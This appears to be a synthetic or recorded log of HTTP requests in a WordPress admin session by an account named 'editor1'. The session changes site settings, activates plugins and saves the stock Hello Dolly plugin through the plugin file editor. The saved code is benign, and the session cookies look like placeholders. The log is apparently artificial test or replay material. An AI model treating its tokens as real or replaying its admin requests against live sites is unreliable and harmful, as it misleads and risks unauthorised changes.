{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 197", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": "option_page=reading&action=update&_wpnonce=1872e80cc5&_wp_http_referer=%2Fwp-admin%2Foptions-reading.php&show_on_front=posts&posts_per_page=12&posts_per_rss=10&rss_use_excerpt=0&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-reading.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 616", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": "option_page=discussion&action=update&_wpnonce=1ac818c98b&_wp_http_referer=%2Fwp-admin%2Foptions-discussion.php&default_pingback_flag=1&default_ping_status=open&default_comment_status=open&require_name_email=1&close_comments_days_old=14&show_comments_cookies_opt_in=1&thread_comments=1&thread_comments_depth=5&comments_per_page=50&default_comments_page=newest&comment_order=asc&comments_notify=1&moderation_notify=1&wp_notes_notify=1&comment_previously_approved=1&comment_max_links=2&moderation_keys=buy+now%0D%0Acheap+watches&disallowed_keys=&show_avatars=1&avatar_rating=G&avatar_default=mystery&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-discussion.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 283", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": "option_page=media&action=update&_wpnonce=fe10b63129&_wp_http_referer=%2Fwp-admin%2Foptions-media.php&thumbnail_size_w=160&thumbnail_size_h=150&thumbnail_crop=1&medium_size_w=300&medium_size_h=300&large_size_w=1024&large_size_h=1024&uploads_use_yearmonth_folders=1&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-media.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 339", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": "option_page=writing&action=update&_wpnonce=1e8037a08d&_wp_http_referer=%2Fwp-admin%2Foptions-writing.php&default_category=1&default_post_format=0&mailserver_url=mail.example.com&mailserver_port=110&mailserver_login=login%40example.com&mailserver_pass=&default_email_category=1&ping_sites=https%3A%2F%2Fexample.org%2Frpc&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-writing.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 226", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=category", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203334"], "body": "action=add-tag&screen=edit-category&taxonomy=category&post_type=post&_wpnonce_add-tag=f99019c9ad&_wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dcategory&tag-name=Food+%26+Drink&slug=food-drink&parent=-1&description="}
{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=akismet%2Fakismet.php&plugin_status=all&paged=1&s&_wpnonce=8b9b53e587", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=akismet-key-config&view=start", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=hello.php&plugin_status=all&paged=1&s&_wpnonce=5f6bf67faf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203340"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "pointer=plugin_editor_notice&action=dismiss-wp-pointer"}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php&wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""}
{"method": "GET", "target": "/?wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 3611", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "nonce=ce99c3187f&_wp_http_referer=%2Fwp-admin%2Fplugin-editor.php%3Fplugin%3Dhello.php%26file%3Dhello.php&newcontent=%3C%3Fphp%0A%2F**%0A+*+%40package+Hello_Dolly%0A+*+%40version+1.7.2%0A+*%2F%0A%2F*%0APlugin+Name%3A+Hello+Dolly%0APlugin+URI%3A+http%3A%2F%2Fwordpress.org%2Fplugins%2Fhello-dolly%2F%0ADescription%3A+This+is+not+just+a+plugin%2C+it+symbolizes+the+hope+and+enthusiasm+of+an+entire+generation+summed+up+in+two+words+sung+most+famously+by+Louis+Armstrong%3A+Hello%2C+Dolly.+When+activated+you+will+randomly+see+a+lyric+from+%3Ccite%3EHello%2C+Dolly%3C%2Fcite%3E+in+the+upper+right+of+your+admin+screen+on+every+page.%0AAuthor%3A+Example+Author%0AVersion%3A+1.7.2%0AAuthor+URI%3A+http%3A%2F%2Fexample.com%2F%0AText+Domain%3A+hello-dolly%0A*%2F%0A%0A%2F%2F+Don't+load+directly.%0Aif+(+!+defined(+'ABSPATH'+)+)+%7B%0A%09exit%3B%0A%7D%0A%0Afunction+hello_dolly_get_lyric()+%7B%0A%09%2F**+These+are+the+lyrics+to+Hello+Dolly+*%2F%0A%09%24lyrics+%3D+%22Hello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+take+her+wrap%2C+fellas%0ADolly%2C+never+go+away+again%0AHello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+golly%2C+gee%2C+fellas%0AHave+a+little+faith+in+me%2C+fellas%0ADolly%2C+never+go+away%0APromise%2C+you'll+never+go+away%0ADolly'll+never+go+away+again%22%3B%0A%0A%09%2F%2F+Here+we+split+it+into+lines.%0A%09%24lyrics+%3D+explode(+%22%5Cn%22%2C+%24lyrics+)%3B%0A%0A%09%2F%2F+And+then+randomly+choose+a+line.%0A%09return+wptexturize(+%24lyrics%5B+mt_rand(+0%2C+count(+%24lyrics+)+-+1+)+%5D+)%3B%0A%7D%0A%0A%2F%2F+This+just+echoes+the+chosen+line%2C+we'll+position+it+later.%0Afunction+hello_dolly()+%7B%0A%09%24chosen+%3D+hello_dolly_get_lyric()%3B%0A%09%24lang+++%3D+''%3B%0A%09if+(+'en_'+!%3D%3D+substr(+get_user_locale()%2C+0%2C+3+)+)+%7B%0A%09%09%24lang+%3D+'+lang%3D%22en%22'%3B%0A%09%7D%0A%0A%09printf(%0A%09%09'%3Cp+id%3D%22dolly%22%3E%3Cspan+class%3D%22screen-reader-text%22%3E%25s+%3C%2Fspan%3E%3Cspan+dir%3D%22ltr%22%25s%3E%25s%3C%2Fspan%3E%3C%2Fp%3E'%2C%0A%09%09__(+'Quote+from+Hello+Dolly+song%2C+by+Jerry+Herman%3A'+)%2C%0A%09%09%24lang%2C%0A%09%09%24chosen%0A%09)%3B%0A%7D%0A%0A%2F%2F+Now+we+set+that+function+up+to+execute+when+the+admin_notices+action+is+called.%0Aadd_action(+'admin_notices'%2C+'hello_dolly'+)%3B%0A%0A%2F%2F+We+need+some+CSS+to+position+the+paragraph.%0Afunction+dolly_css()+%7B%0A%09echo+%22%0A%09%3Cstyle+type%3D'text%2Fcss'%3E%0A%09%23dolly+%7B%0A%09%09float%3A+right%3B%0A%09%09padding%3A+5px+10px%3B%0A%09%09margin%3A+0%3B%0A%09%09font-size%3A+12px%3B%0A%09%09line-height%3A+1.6666%3B%0A%09%7D%0A%09.rtl+%23dolly+%7B%0A%09%09float%3A+left%3B%0A%09%7D%0A%09.block-editor-page+%23dolly+%7B%0A%09%09display%3A+none%3B%0A%09%7D%0A%09%40media+screen+and+(max-width%3A+782px)+%7B%0A%09%09%23dolly%2C%0A%09%09.rtl+%23dolly+%7B%0A%09%09%09float%3A+none%3B%0A%09%09%09padding-left%3A+0%3B%0A%09%09%09padding-right%3A+0%3B%0A%09%09%7D%0A%09%7D%0A%09%3C%2Fstyle%3E%0A%09%22%3B%0A%7D%0A%0Aadd_action(+'admin_head'%2C+'dolly_css'+)%3B%0A&action=edit-theme-plugin-file&file=hello.php&plugin=hello.php&docs-list="}
{"method": "GET", "target": "/wp-admin/theme-editor.php?file=style.css&theme=twentytwentyfive", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=twentytwentyfour", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""}
